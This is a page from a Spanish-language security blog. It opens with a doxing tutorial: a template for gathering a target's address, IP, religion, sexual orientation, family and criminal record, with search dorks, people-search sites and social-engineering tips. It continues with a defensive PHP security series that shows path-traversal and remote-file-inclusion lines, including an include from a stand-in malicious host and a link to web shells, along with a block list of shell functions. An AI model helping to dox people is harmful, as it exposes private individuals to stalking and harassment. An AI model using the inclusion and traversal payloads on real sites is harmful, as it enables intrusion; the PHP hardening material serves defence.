Mostrando entradas con la etiqueta seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta seguridad. Mostrar todas las entradas

domingo, 24 de mayo de 2015

[Doxing] Encontrar informacion de personas

El otra vez estaba en el IRC chateando, entro un usuario y pregunto sobre el tema de "investigar personas" muchos usuarios le dañaron la autoestima como es normal :D. Bueno pero ahora vengo hablarles sobre Doxing el cual se define como:

¿Que es Doxing?

Doxing (dox es una abreviacion de "documentos") es un proceso para obtener informacion personal de un objetivo siendo casi siempre una persona, en este tipo de documentos podemos obtener mucha documentacion sobre la persona tal como puede ser: nombre real, sexo, sitio web, alias, email, perfil de redes sociales, direccion, ip, etc. Este tipo de tecnicas entran dentro de la ingieneria social. 

Hay muchas herramientas ya sea online o de escritorio las cuales te permiten automatizar este tipo de proceso, y la mejor forma de realizar esto es las conexiones que realices al buscar tu objetivo. Encontrar un nombre de usuario lleva a encontrar el nombre completo y esto puede conducir a la direccion fisica. El usuario puede llevar alguna fotografia lo cual puede resultar en dar su direccion o placas. Para nombres comunes como Cesar se le pueden agregar los intereses o localizacion para encontrar mas rapido lo buscado, es por esto tambien que muchas personas no confian en otras por internet debido a la informacion que se puede encontrar puede ser muchas veces un golpe bajo.



Otro tipo de ejemplo puede ser: http://pastebin.com/G2rH2xsw

Obteniendo informacion de un objetivo

Aqui depende mas que nada del tipo de informacion que tengas con que empezar, ya sea el alias, el email, la direccion fisica, etc. Como comentabamos mas arriba un dox es una abreviacion de documento entonces por lo menos deberiamos tener el siguiente formato de documentacion el cual nos puede ser de utilidad:


Nombre de usuario/ Sobrenombre: 
Nombre real:
Localizacion:
Nacionalidad:
Imagenes:
Videos:
Religion:
Orientacion Sexual:
Numero movil/telefono:
Direccion IP:
Sitios webs hackeados:
Paginas de redes sociales:
Foros en los que postea:
Miembros de su familia:
Ocupacion:
Registro criminal:
Informacion extra:


Por busqueda general usamos Google.

www.google.com 

Podemos usar los famosos dorks para encontrar informacion, algunos ejemplos de utilidad pueden ser:

inurl: especificas el sitio donde deseas buscar a la persona.

alias inurl:www.elsitio.com
alias inurl:www.facebook.com

intitle: especifica que tenga en el titulo de cualquier pagina lo que le indiques.

alias intitle:bienvenido

intext: especficia que tenga en el cuerpo de la pagina lo que le indiques.

alias intext:juakear

Otro sitio de busqueda pueden ser:
www.bing.com
www.duckduckgo.com


Sitios webs recomendados para busqueda de informacion:

https://pipl.com 
http://www.spokeo.com
http://www.peekyou.com
http://www.yasni.com
http://www.skipease.com
http://www.ussearch.com
http://freeality.com 
http://www.zabasearch.com
 http://www.keotag.com
http://yahoo.intelius.com
http://archive.org
https://www.facebook.com/directory/people
http://topsy.com
http://socialmention.com
http://knowem.com
http://twoogel.com
http://www.whostalkin.com
https://namechk.com
http://www.freecellphonedirectorylookup.com
http://www.numberway.com
http://www.fonefinder.net
http://publicrecords.onlinesearches.com
http://www.jailbase.com/en/sources/fl-lcso
http://exifdata.com
http://whois.domaintools.com
http://checkusernames.com  
https://haveibeenpwned.com/

Ingieneria social

Como habiamos comentado arriba el proceso del doxing esta muy ligado a la ing. social por lo cual puedes agregar el email del usuario o en las redes sociales, para obtener los datos deseados, como dijo kevin mitnick:

    * Todos queremos ayudar.
    * El primer movimiento es siempre de confianza hacia el otro.
    * No nos gusta decir No.
    * A todos nos gusta que nos alaben.




Puedes comenzar desde ahi tus cimientos. Quizas te interese:


http://arthusu.blogspot.mx/2015/05/php-creando-una-firma-dinamica.html


Formas de defenderse

Las recomendaciones para defenderse son:

* Intenta cambiar tu nickname cierto tiempo
* Intenta usar canales seguros (Proxys, VPNS, TOR)
* Para chatear por canales seguros (http://arthusu.blogspot.mx/2014/03/conversaciones-privadas-usando-pidgin-y.html)
* Cifrar tus mensajes (https://hackxcrack.net/foro/criptografia-y-esteneografia/enviar-mensajes-cifrados-por-gmail-o-hotmail-by-arthusu/)

Como recomendacion haste un doxing a ti mismo, e intenta borrar todos los rastros que puedas encontrar.

* No dejar datos en redes sociales.
* Uso de correos temporales
* No usar datos reales
* No confiar (Esta no se aplica a todos, pero mucha gente que no sabes en cual confiar)

Espero que esta mini-introduccion sobre doxing les sea de utilidad a mas de alguno. Si tienen algunas tools o tecnicas que puedan compartir no olviden dejar sus comentarios.

miércoles, 9 de abril de 2014

[Parte 9] Seguridad en PHP

Directivas de configuracion

Aunque estamos hablando sobre la seguridad en PHP, hay cosas como las configuraciones de PHP con la que todo programador debe estar familiarizado, tenga en cuenta que estas configuraciones pueden afectar el codigo que escriba, de manera que no se vera igual en otro servidor donde no tenga la misma configuracion.

Para saber donde se encuentra nuestro archivo de configuracion podemos usar la funcion phpinfo() la cual nos muestra informacion sobre la configuracion de php:

 <?php
 phpinfo();?>

Cuando nos arroja el contenido de las configuraciones de php podemos observar:


allow_url_fopen

Como se mostraba en la parte 6 de seguridad en php con la directiva allow_url_fopen podemos hacer referencia a archivos remotos como si fuesen locales...




 <?php
 $contenido = file_get_contents('http://ejemplo.com/xss.html');?>


Tambien en la parte 5 de seguridad en PHP vimos como podia ser peligroso al usar include o require:


 <?php
 include 'http://maligno.ejemplo.com/maligno.inc';?>

Es por eso que se recomienda deshabilitar la directiva allow_url_fopen a menos que su aplicacion requiera el uso de ella.

disable_functions

La directiva disable_functions es util para poder garantizar que alguna funcion peligrosa no pueda ser usada, un ejemplo de funciones que no te gustaria utilizar podria ser el siguiente:

disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Aunque es mejor seleccionar las funciones que tu pienses que no necesiten estar activas.


display_errors

Esta directiva muestra los errores que puede contener nuestra aplicacion, aunque en forma de desarrollo es una buena alternativa, ya que nos deja ver en que estamos equivocados, en produccion es un error grave, ya que les estamos dando informacion a cualquier usuario que pueda ver nuestro script PHP, es por eso que se recomienda desactivar en modo de produccion.


enable_dl

Esta directiva se utiliza para activar o desactivar la funcion dl() la cual permite cargar una extension de PHP en tiempo de ejecucion. 



Usando la funcion dl() podemos eludir las restricciones de open_basedir y debe ser desactivada si su aplicacion lo requiere.



error_reporting

Muchas de las vulnerabilidades de seguridad son de la utilizacion de variables no inicializadas o de practicas de programacion descuidada. Es por eso que se recomienda activar error_reporting en E_ALL por lo menos, para que PHP nos informe sobre ello.


file_uploads

Esta directiva determina si se permite o no la carga de archivos, si la aplicacion no necesita aceptar carga de archivos es mejor desactivar esta directiva. 


log_errors

Si esta activado registra todos lo errores y los guarda en el archivo indicado en la directiva error_log.
Esto es muy util ya que podemos llevar un historial de errores de nuestra aplicacion, cuando display_error esta desactivado lo que permite log_errors es sumamente de suma importancia por que de lo contrario no se le avisa sobre ningun error en su aplicacion.
Se recomienda que log_errors se mantenga activado.


magic_quotes_gpc


Esta directiva escapa de forma automatica todos los caracteres que contengan ', ", \ y NULL por los metodos POST, GET y COOKIE.
Es lo mismo que usar la funcion addslashes().
Hay dos razones por la que no debes tener activada esta directiva, las cuales son:

1.- Añade complejidad al filtrado de entrada.
2.- No esta utilizando funciones nativas para escapar los datos a su base de datos.

Esta funcion se recomienda tener desactivada.


memory_limit

Establece el maximo de memoria en bytes que un script puede consumir. Se recomienda usar 8M. La directiva memory_limit solo esta disponible cuando PHP se compilo usando --enable-memory-limit.


open_basedir

La directiva open_basedir limita los archivos que pueden ser abiertos por PHP en un directorio especifico. Cuando un script intenta acceder al sistema de ficheros, por ejemplo, usando include() o fopen(), se comprueba la ubicacion del fichero. Cuando el fichero esta fuera del arbol del directorio especificado, PHP rechazara acceder a el.

open_basedir = /ruta/para

Asegurese de que la directiva enable_dl este desactivada, de lo contrario las restricciones de open_basedir  pueden ser evitadas.

register_globals

Para mas informacion sobre esta directiva se explica en la parte 1 de seguridad en php: http://www.arthusu.com.mx/2014/02/parte-1-seguridad-en-php.html


safe_mode

Para mas informacion sobre esta directiva se explica en la parte 8 de seguridad en php: http://www.arthusu.com.mx/2014/04/parte-8-seguridad-en-php.html



Referencias:

* Essential PHP Security
* PHP documentacion oficial
* PHPsec
* Cyberciti

sábado, 5 de abril de 2014

[Parte 6] Seguridad en PHP

Archivos y comandos

En esta parte veremos los riesgos asociados a los archivos y los comandos de shell, en php existen muchas funciones que se utilizan para el manejo de archivos y comandos de shell, es por eso que en este apartado veremos cuales nos pueden afectar y como podemos solucionarlos.

Atravesando el sistema de archivos

Muchas veces leemos archivos usando fopen() u otras funciones de php, las cuales en lugar de meterlas asi solamente la cadena para que lo lea el archivo, lo leemos usando variables o campos de entrada en la pagina web, de esta manera estamos dando un punto a una vulnerabilidad, un ejemplo de un tipo de codigo asi es el siguiente:

 
Como puedes ver en la imagen hay una variable llamada archivo, con la cual pide el archivo de determinada ruta (/ruta/para) en la cual se encuentran todos los archivos, de manera que si alguien entra a la url de ejemplo:

http://ejemplo.com/index.php?archivo=miarchivo

Se abre el archivo llamado miarchivo.txt y se muestra en la web....

Como mostramos en la parte 5 de seguridad en php donde hablabamos sobre la manipulacion del nombre del archivo y que esta vulnerabilidad tambien era llamada LFI en la cual hay un articulo en este mismo BLOG bien definido, pues en este caso estamos usando otro tipo de funcion pero es casi lo mismo por lo cual tambien podemos evitar el tipo de extension usando un null byte (), siendo nuestro ataque de la siguiente manera:

http://ejemplo.com/index.php?archivo=../etc/passwd

Incluyendose el archivo /etc/passwd correctamente y evitando el tipo de archivo .txt
 
Tal como dijimos en la parte 1 de seguridad en php "nosotros los programadores ponemos las reglas a nuestras aplicaciones"... por lo cual nosotros le podemos decir que solo queremos que en la entrada solo haya caracteres alfanumericos usando la funcion ctype_alpha():


O como lo hicimos en la parte 5 de seguridad en php podemos usar la funcion basename():



Riesgos de archivos remotos



PHP tiene una directiva llamada allow_url_fopen activada por defecto. La cual permite hacer referencia a archivos remotos como si fuesen archivos locales, de esta manera poder mostrarlos en el HTML. 

Usaremos la funcion file_get_contents() la cual transmite un fichero entero a una cadena. 


De esta manera podriamos pedir una shell en un formato .txt que este alojado en nuestro servidor, y al pedirla se incluira el codigo PHP dejandonos ejecutar comandos.

La lista de shell la puedes encontrar en esta web: http://www.r57shell.net/

Este ataque tambien es conocido como Remote File Inclusion (RFI).

Para solucionar este tipo de ataques podemos usar la funcion nativa de php htmlentities() de manera que al mostrar el codigo no lo interprete y solo se vea el codigo fuente en si...

htmlentities() lo que hace es convertir todos los caracteres aplicables a entidades html.



Inyeccion de comandos

Usar comandos del sistema en PHP es peligroso ya que puede ocurrir una vulnerabilidad llamada RCE (Remote Code Execution), la cual nos deja ejecutar comandos de manera remota.

Por ejemplo, podemos usar la funcion exec() la cual ejecuta algun comando del sistema devolviendo la ultima linea solamente, pero podemos almacenar en una matriz como segundo argumento de manera que devolvamos todos los elementos del array como uno solo en la matriz...



Esta forma de usarlo es peligrosa ya que muestra muchos directorios y archivos sensibles, aunque en este caso no usamos ningun campo de entrada si lo usaramos podriamos intentar controlar comandos a conveniencia, es por eso que es mejor escapar este tipo de entradas... de la siguiente manera:


La funcion escapeshellcmd() escapa meta-caracteres del interprete de comandos, con meta-caracteres se hace referencia a caracteres que tienen un significado especial en una consola de comandos.

La funcion escapeshellarg() escapa una cadena a ser usada como argumento del interprete de comandos.

Estas como puedes ver no son las unicas maneras de ejecutar comandos, podemos usar otras funciones nativas de PHP tales como: system(), passthru(), popen(), shell_exec().

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia

domingo, 2 de marzo de 2014

[Parte 2] Seguridad en PHP

Formularios y URLs

En esta parte vamos a ver el tratamiento de formularios y URLS. Aprenderemos ataques como XSS, CSRF, falsificar formularios y enviar solicitudes manualmente.


Formularios y datos

Las tareas que hace PHP la mayoría son procesamiento de datos, son tareas tales como, por ejemplo: iniciar sesión, agregar elementos en carrito de compras, procesar una transacción por tarjeta de crédito, etc.


Los datos que se procesan pueden considerarse:

* maliciosos
* no maliciosos

Los no maliciosos podría ser por ejemplo, un email que tu sabes que muestras como salida, es algo de confianza por que tu mismo lo estas manipulando, tu mismo lo envías, pero por ejemplo, si alguien ingresa un email y no esta filtrada puede convertirse en un dato malicioso ya que no se filtra la entrada y no se escapa la salida.

Un usuario puede enviar los datos de tres formas predominantes:

* Por la url ($_GET)
* En el contenido de la solicitud ($_POST)
* En la cabecera HTTP ($_COOKIE)

La datos que se envian no cambian, sino la forma en que se envian, veamos un ejemplo:



Los datos son interceptados por Burp Suite Pro.

Ataques a URL semánticas

Los ataques de url semánticas son los cuales vas modificando la URL para ver que tipo de datos interesantes puedes obtener no solo por GET por que como ya vimos en las imágenes de arriba atrapamos los datos con Burp suite interceptándolos en el envió.

Las URL semánticas son las que tienen un significado para el usuario y son fáciles de recordar ya que van acorde con el contenido de la pagina web.

Otra de los aspectos importantes es que este tipo de URL pueden quedar almacenadas en buscadores como Google, de manera que pueden ser vistas por todo el publico y podemos empezar nuestro ataque.

Un ejemplo, podría ser un formulario donde los datos se envian por GET aunque comúnmente son por POST cambian su email alternativo para que su cambio de contraseña sea enviado a ese email.



De esta manera que pasa que no esta verificando al usuario por medio de sesiones sino por medio de un input, es tan facil como nosotros cambiar el usuario por el que nosotros queramos por ejemplo: user002 en lugar de user001 y el email por el de nosotros:


La manera de solucionar este problema seria el uso y manejo adecuado de sesiones. Un ejemplo de este tipo de ataque: http://www.securityfocus.com/archive/75/320768/2003-05-05/2003-05-11/0




Ataque de subida de archivos

Muchas de las paginas web hoy en día permiten la subida de archivos, tal y como son facebook, twitter, blogs, foros, etc. 

Un formulario de subida de archivos básico es como el siguiente:



Como se ve en la imagen, algo diferente que vemos a simple vista es que el formulario incluye enctype="multipart/form-data" esto se usa para la carga de archivos solamente, y también tenemos un campo oculto con una variable MAX_FILE_SIZE la cual tiene un valor de 1024 que seria lo máximo permitido para el peso del archivo aunque el HTML siempre se puede editar desde el lado del cliente no esta demás ponerlo, pero lo ideal seria validarlo desde el servidor, y por ultimo tenemos un campo llamado attachment de tipo file que es para buscar el archivo en nuestro ordenador que queramos subir.

Para procesar nuestro formulario desde el PHP seria usando el array superglobal $_FILES, veamos como se nos muestra el array en el navegador de manera que conozcamos como lo podemos usar:



Como se ve en la imagen tenemos las cabeceras y el archivo impreso en texto plano su variable $_FILES de esta manera podemos analizar rapidamente:

$_FILES['attachment']['name'] - Es el nombre de la imagen
$_FILES['attachment']['type'] - Es el tipo de archivo
$_FILES['attachment']['tmp_name'] - Donde se almacena el archivo temporalmente al subirse
$_FILES['attachment']['error'] - Es el tipo de error, en este caso por ejemplo, tuve que cambiar MAX_FILE_SIZE para que no me lanzase el error 2 que es el archivo excede el maximo tamaño permitido, podemos ver mas sobre ello aqui: http://www.php.net/manual/es/features.file-upload.errors.php
$_FILES['attachment']['size'] - Es el tamaño del archivo



El código de la imagen ha sido sacado de W3schools y es un ejemplo seguro de subir imágenes, en este caso como al procesar el formulario de las imágenes, lo primero que hacemos es tomar la extensión del archivo y verificar si es cualquier tipo de imagen, después verificamos que si el archivo que subimos concuerda con cualquier tipo de imagen permitido que nos muestre que se subió, si el archivo existe que nos muestre un mensaje de que existe, si el archivo no esta entre las extensiones permitidas es invalido, y si pasa algún error también lo mostrara.




Aquí en este imagen mostramos como queremos evitar la extensión JPG por una PHP, pero el caso es que no esta validando la cabecera Content-Type si no la extensión por lo cual nos arroja que el archivo es invalido, ya que no entre su lista de archivos permitidos.

Otra manera de evitar este tipo de ataques seria usar un archivo .htaccess (archivo para modificar directivas Apache sin tener que usar el archivo httpd.conf) y crear unas reglas donde solo permitamos imágenes y solamente eso. Esto se subiria claro en el directorio donde estamos subiendo las imágenes.



deny from all<Files ~ "^\w+\.(gif|jpe?g|png)$">order deny,allowallow from all</Files>






Cross Site Scripting (XSS)

Esta es una de las vulnerabilidades mas conocidas.




Cualquier aplicación que muestre un campo de entrada puede ser victima de este ataque, este ataque se puede dar en foros, blogs, y webs de las mas conocidas, para poner como ejemplo a Google.

Un ejemplo de este ataque podría ser el siguiente:



¿Y que pasa con esto? Que como no esta validado podemos inyectar script en la pagina web, esto lo hacemos por que nuestro html es interpretado tal y como nosotros quisiésemos un ejemplo seria obtener las cookies del usuario y poder ingresar a su web con su nivel de privilegios.




Esto nos daría un resultado como el siguiente:


Lo ideal para eliminar este ataque seria usar HTMLENTITIES aunque también existen librerías tales como htmlpurifier si es que quieres aceptar algunas etiquetas html, veamos el ejemplo anterior con nuestro código de nuevo:




Cross site request forgery (CSRF)

El CSRF (del ingles cross site request forgery o falsificación de petición en sitios cruzados) es un tipo de exploit malicioso de un sitio web en el que comandos no autorizados son transmitidos por un usuario en el cual el sitio web confía. 

Un ejemplo de este ataque puede ser una aplicación en la cual puedes comprar lapices o plumas...




Esta aplicacion lo que hace es que compras lapices o plumas,con lo cual si lo compras (aunque en este caso es de ejemplo por que nisiquiera llenamos datos :P) correctamente te dice que tu compra se realizo correctamente pero sino te dice que hubo un error al procesar el pedido  

Se estarán preguntando, ¿Pero no esta por method $_GET?, Bueno en realidad el PHP tiene $_REQUEST el cual acepta $_POST y $_GET pero les mostrare como se puede explotar de las dos maneras, por que muchos piensan que si es $_POST este ataque no puede ser vulnerado, pero no es así en realidad.


Como ves en este ejemplo, se realiza la compra, y esto sin que el usuario que ejecuto esto haya confirmado su compra, imagina que tuvieses un XSS Persistente, de esta manera te puedes montar un Phishing con XSS y realizar un Ataque CSRF o solamente puedes enviar la pagina, ejemplo de método POST:



No creo que sea necesario explicar lo que realiza, pero de todas maneras lo diré, lo que hace es ejecutar los campos por método post en cuanto carga esta pagina, los campos están ocultos y se procesan rápidamente, y el ataque ha sido realizado.

Entonces, ¿Que tan malo es este ataque?,pues con el puedes realizar muchos tipos de cosas (ya sean administrativas el usuario que lo tiene que ejecutar es el administrador ...) como por ejemplo, eliminar un usuario por la URL al no tener un token o una pagina donde te diga que si deseas proceder con la acción tan importante, puede realizar el ataque.

La manera de asegurarse en PHP de que no pase esto es como ya comentamos los "tokens" o una pagina donde diga que si desea proceder con tal acción, aunque aveces es fastidioso ese tipo de paginas se opta muchas veces por los tokens...

Los tokens pueden ser algo (como un PIN por ejemplo) que identifique ser que el usuario que esta realizando tal acción tiene suficientes permisos para realizarla y es ese usuario en realidad y no otro, y ¿por que aumenta esto nuestra seguridad? por que el usuario atacante no sabe cual es nuestro token entonces no podrá ejecutar su ataque CSRF ;).



¿Que esta pasando aquí?, como ves estamos haciendo nuestra compra y como el token es correcto nos da un mensaje de que nuestra compra se realizo con éxito, en este caso el token no tiene limitación, es decir, no tiene fecha de caducidad algo que también se puede aplicar :P, bueno pero antes que eso, veamos que podría hacer si fuera el atacante, pues solo tratar de adivinar el token algo que seria muy difícil :P entonces si no tengo el token mi exploit falla:

Y pues por ultimo les muestro el código con el que estaba haciendo las pruebas, que en realidad no seria así programado en una aplicación web real, pero para un ejemplo, puede verse como en realidad son usados los tokens:



Y en el ejemplo de tiempo como lo habíamos dicho mas arriba, seria por ejemplo esto:


Un ejemplo en una aplicación web famosa tal y como es Wordpress, podemos ver este tipo de ataque en la siguiente URL: http://www.exploit-db.com/exploits/18791/

Falsificar Formularios

Falsificar un formulario es modificarlo de tal manera que quede como tu quieras y puedas enviar los datos tal y como tu quieras, en este caso seria el atacante...

Imaginemos que tenemos un formulario el cual envía un correo al administrador, este correo seria un mensaje de reporte o un mensaje que tu quisieras, todo funciona normalmente si no falsifican el formulario:



Enviamos el mensaje:


Tal como se ve lo recibimos correctamente, pero si miramos el código fuente el correo puede ser falsificado...


La imagen anterior estamos usando el complemento Firebug para firefox tambien esta disponible en Google Chrome.


Como vemos hay un campo oculto, que es el correo al cual se envían todos los mensajes, ¿que pasaría con esto?, si fuésemos el atacante podríamos enviar mensajes desde la aplicación a quien nosotros queramos y con el correo que nosotros queramos :3


Como podemos ver hemos metido otro correo en el valor de ese campo con solo dar doble clic podemos editarlo usando firebug.


Y al enviarlo se envía al correo que nosotros deseemos, estamos falsificando el formulario por medio de firebug.

O también podemos copiar el código HTML de la pagina y editarlo en nuestra maquina y enviarlo en action a esa web, para asegurar el código en ese caso seria checar la cabecera Referer (De donde viene la petición) o validar y filtrar los campos tal y como debe de hacerse, o simplemente declarar en el PHP y no en el formulario las cosas que no son necesarias, este correo podría ser declarado en el PHP como una constante por ejemplo.


Falsificando Solicitudes HTTP

Como vimos en la parte de arriba usamos burp suite estábamos viendo las cabeceras, en este caso podríamos falsificar solicitudes HTTP con el mismo Burp suite usando la acción de repetir la solicitud, pero para no complicarlo lo haremos con el live http headers que esta disponible como complemento para firefox, también existe tamper data...



Un ejemplo fácil y no seria vulnerable, pero si mostramos como podemos falsificar la solicitud HTTP:



Como podemos ver el color elegido fue, el color rojo, podemos falsificar la solicitud dando clic en repetir y poner el color que nosotros queramos aunque no se encuentre en esa lista :)



¿Por que es importante esto de falsificar solicitudes HTTP?, simplemente por que si tenemos datos que enviamos por POST y no los validamos y escapamos correctamente todo eso puede ser editado de la manera que quiera el atacante, y aunque enviemos datos por AJAX (sin que la pagina cargue) podemos ver todas las cabeceras enviando solicitudes HTTP.

Para corregir esto como se ya se dijo en la parte 1 es validar y escapar datos de entrada.

Hasta aqui la parte 2 espero que les haya gustado, nos vemos en la proxima parte, comentarios y criticas constructivas son recibidas :)

Referencias:

Essential PHP Security
Wikipedia
SecurityFocus
Acunetix
W3schools

sábado, 22 de febrero de 2014

[Parte 1] Seguridad en PHP

PHP



Como todos sabemos PHP es uno de los lenguajes scripting mas usados en la web, ya que se encuentra en varias paginas famosas como facebook, taringa, etc. Y una de las cosas por la cual nos debemos preocupar mas es por la seguridad.


Register globals


Esta directiva lo que hace es tomar todo tipo de variables, entonces si tu estas ejecutando por ejemplo un script, en una pagina donde solo autorizas que si es verdad que el usuario ha iniciado sesión, la variable autenticado sea igual a true, seria algo como lo siguiente (el archivo siguiente le pondremos un nombre falso que sera autenticar.php):


<?php
if(usuario_autenticado(){
$autenticado = true;
});
if($autenticado){
include 'datos_sensitivos.php';
}
?>

¿Que pasa con esto? pues fácil, tenemos una función usuario_autenticado() que valida un inicio de sesión luego de eso nos da una variable $autenticado que no ha sido inicializada y no la deja a true, después hacemos una comprobación de que si $autenticado es true o verdadero entonces mostremos al usuario un archivo que se llama datos_sensitivos.php. Con esto nosotros podemos meter en la url algo como lo siguiente:


http://ejemplo.com/autenticar.php?autenticado=1

De esta manera el script nos mostrara su archivo datos_sensitivos, esto ¿por que? pues gracias a que le programador no inicializo la variable $autenticado = false; de manera que nosotros la inicializamos a true o 1, y estamos autenticados y lo otro es que pues tenemos register_globals activado de manera que podemos poner nuestra variable por medio de $_GET.

Nota importante:  Desactivar register_globals si es que la tienes activada, esta paso a ser desactivada desde la versión 4.2.0 de php, obsoleta en php 5.3.0 y eliminada en php 5.4.0.


Mi versión esta en PHP/6.0.0-dev por lo que no tengo que molestarme por esta directiva ya que pues ha sido eliminada.


Reporte de errores

El reporte de errores nos ayuda para ver que es lo que estamos haciendo mal al programar algo, pero si lo usamos cuando nuestra web ya esta al publico y no en desarrollo esto puede ser fatal ya que le estamos dando entrada a un atacante para leer información que el puede querer recibir. Tal como el error de la linea de un archivo, la base de datos, la ruta del directorio, permisos, alguna salida de un poco de código, etc.

Es por eso que es importante que cuando estemos mostrando la información al publico debemos debemos de poner error_reporting(0) de manera que no reporte errores o display_errors = Off en php.ini


Si se hace esto de desactivar display_errors es recomendable activar log_errors = On e indicar la ruta de la directiva error_log.







Otra manera seria que si por ejemplo tu estas usando un servidor compartido y por lo cual no te deja editar el archivo de configuración php.ini puedes utilizar init_set para establecer una directiva de configuración, por ejemplo:

<?php
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors','Off');
ini_set('log_errors','On');
ini_set('error_log','/usr/local/apache/log/error_log');
?>

De esta forma los errores deben quedar guardados en el archivo error_log que esta  guardado en /usr/local/apache/log/ para que no se muestren al publico y nosotros podamos verificarlos cuando tengamos tiempo. Si quiere saber mas acerca de las constantes predefinidas tales como E_ALL o E_STRICT puede consultar la siguiente documentacion: http://php.net/manual/es/errorfunc.constants.php.



Por ultimo podemos crear nuestro propio gestor de errores para que nos arroje un error personalizado:


mixed set_error_handler ( callable $error_handler [, int $error_types = E_ALL | E_STRICT ] )

Como puedes ver solo establecemos set_error_handler('unafuncion',eltipodeerror); con eso podemos establecer una función personalizada para que nos arroje los errores.

 Este seria un ejemplo de mi función:

function gestor_errores($number,$string,$file,$line,$context){
$error .= "=====================\nPHP ERROR\n=====================";
$error .= "Numero: [$number]\n";
$error .= "Cadena: [$string]\n";
$error .= "Archivo: [$file]\n";
$error .= "Linea: [$line]\n";
$error .= "Contexto:\n" . print_r($context,TRUE) . "\n\n";
error_log($error,3,'/usr/local/apache/logs/error_log');
}

Como puedes ver la sintaxis de la variable $error_handler es la siguiente: $number contiene el nivel de error ocasionado, $string contiene el mensaje de error como cadena, $file en que archivo esta el error, $line el numero de linea donde esta el error, $context contiene una matriz con cada variable que existe en el ámbito donde el error fue provocado.

Al final contiene la función error_log que indica que el mensaje de error que va a ser enviado sera la variable $error, con 3 indicamos que el mensaje sera enviado al fichero destino, y luego el fichero destino que es '/usr/local/apache/logs/error_log'.

Por ultimo establecemos la función que acabamos de crear:

<?php
set_error_handler('gestor_errores',E_WARNING);
?>






Tambien es posible usar excepciones para gestionar los errores, para mas informacion: http://mx1.php.net/exceptions


Principios

Debemos aprender algunos principios para poder entender como hacer nuestras aplicaciones mas seguras y tomarlos como ejemplos nos ayudara.

Defensa en profundidad




Esta es una estrategia donde se usan distintas técnicas para limitar los daños, es como tener un respaldo para un ataque, me refiero a que si por ejemplo, un usuario secuestra la sesión de un administrador, ¿que es lo primero que se le ocurre? si, cambiar la contraseña, en ese caso podríamos poner un respaldo de que vuelva a iniciar sesión cada vez que se realice esta acción critica. Esto puede ser útil contra ataques día cero (zero day exploits), ya que podemos tener elementos de seguridad tales como:

* firewalls * Seguridad fisica (mantener servidores bajo llave)
* antivirus * Restricciones de acceso basadas en ip, hora y localización
* DMZs   * Seguridad por oscuridad
* VPNs

Los cuales pueden ser útil de respaldos, ya que si el atacante atraviesa una parte de nuestro sistema hay otro que le impedirá la acción que desea realizar.

Privilegio mínimo




Cada modulo (como un usuario,  un proceso o un programa) debe ser capaz de solo acceder a información y recursos que son necesarios para su legitimo propósito.
Esto quiere decir que, por ejemplo, no le vas a dar todos los privilegios a un moderador de un foro, ya que solo esta moderando un foro, es decir solo le vas a dar los privilegios necesarios, que en este caso son moderar su foro. ¿Por que pasa esto? Ya que si le das privilegios de mas puede ocurrir cosas que no desees como que te baje de la administración a ti y se quede con el foro, es un ejemplo, exagerado pero es para entenderlo mejor.

Lo simple es bello



No se si han escuchado del principio de parsimonia también se aplica en la informática como el principio KISS << Keep It Simple, Stupid! >> ¡Mantenlo simple, estúpido! , y esto se aplica también en este apartado de seguridad ya que si nosotros lo mantenemos simple entonces de esta manera engendraremos menos errores a la hora de la programación, un ejemplo seria el siguiente:

<?php
$buscar = (isset($_GET['buscar']) ? $_GET['buscar'] : '');
?>

Como ves esto es un poco complicado para un programador que apenas se va iniciando, ademas de que no se ve que esa entrada por $_GET podría estar contaminada, podemos hacerlo de forma mas bella, manteniendolo simple :), esto lo haríamos de la siguiente forma:


<?php
$buscar = '';
if(isset($_GET['buscar'])){
$buscar = $_GET['buscar'];
}
?>

Eso seria lo mismo que lo de arriba pero se ve mas entendible ¿no?, la sintaxis como ves y la sangría nos hace ver que el problema puede estar en la entrada $_GET['buscar'] que ni siquiera esta siendo validada.

Minimizar la exposición




Esto se refiere a que debemos eliminar datos que no sean necesarios mostrar en el servidor, por ejemplo, uno de los mas comunes que me he encontrado es que muchos ponen sus robots.txt y se encuentra un montón de información que no quiere que se muestre a los navegadores y un atacante es una de las cosas por las que va primero, otra cosa es que los datos de las bases de datos estén fuera como un archivo .sql o .db o un archivo .inc o .txt que son archivos que pueden contener información que no queremos que sea vista, todo esto veremos mas adelante como ocultarlo. Google es una de las empresas mas famosas y bueno es el mejor buscador y también el mejor "mirador" ya que puede ver toda nuestra web muchas veces entonces nosotros debemos aveces ocultarnos de los buscadores aunque debería ser al revés hay cosas que no queremos que vea. Entonces en esta forma vamos a minimizar la exposición solo de los datos que no queramos que vea el publico (internet).



Practicas

Al igual que los principios debemos aprender algunas practicas para hacer nuestras aplicaciones mas seguras.

Riesgos de balance y usabilidad




Aquí tenemos dos cosas a tomar en cuenta el balance y la usabilidad y estos dos no van en contra, sino al contrario, con esto me refiero a que para poder que el usuario se sienta cómodo navegando por la pagina tenemos que tener un balance en la usabilidad que le damos, con esto quiero decir por ejemplo, darle privilegios mínimos cuando se requiere, seria como cuando tenemos una pagina de administración donde solamente el staff (personal autorizado) tiene derecho a entrar, y para lograr esto tiene que haber un balance.

Otro ejemplo para que lo entiendan mejor, por ejemplo, facebook no va poner una parte donde te pregunte cada vez que te llega un mensaje si lo quieres ver el mensaje o no lo quieres ver, pero si te va poner que repitas tu contraseña cuando la quieres cambiar, esto es por que requiere un riesgo necesario para dar un balance y la usabilidad que hay en cada uno, seria muy molesto autorizar cada vez que quisieras ver un mensaje en el chat.

Seguimiento de datos




Esto es una de las cosas que puede parecer mas laboriosa pero también la que mas te ayudara, me refiero a que todos los datos de entrada pueden tener un seguimiento para saber que llegan y se muestran tal y como queremos que funcione, muchos de los datos viajan por las cabeceras http que podemos manejar en nuestro código usando los arrays superglobales $_GET, $_POST, $_COOKIE , tambien cualquier INPUT (entrada) o petición a la base de datos mysqli_query() , no solo eso sino también peticiones a sistemas remotos (file_get_contents(),include(),etc).

Filtrar la entrada




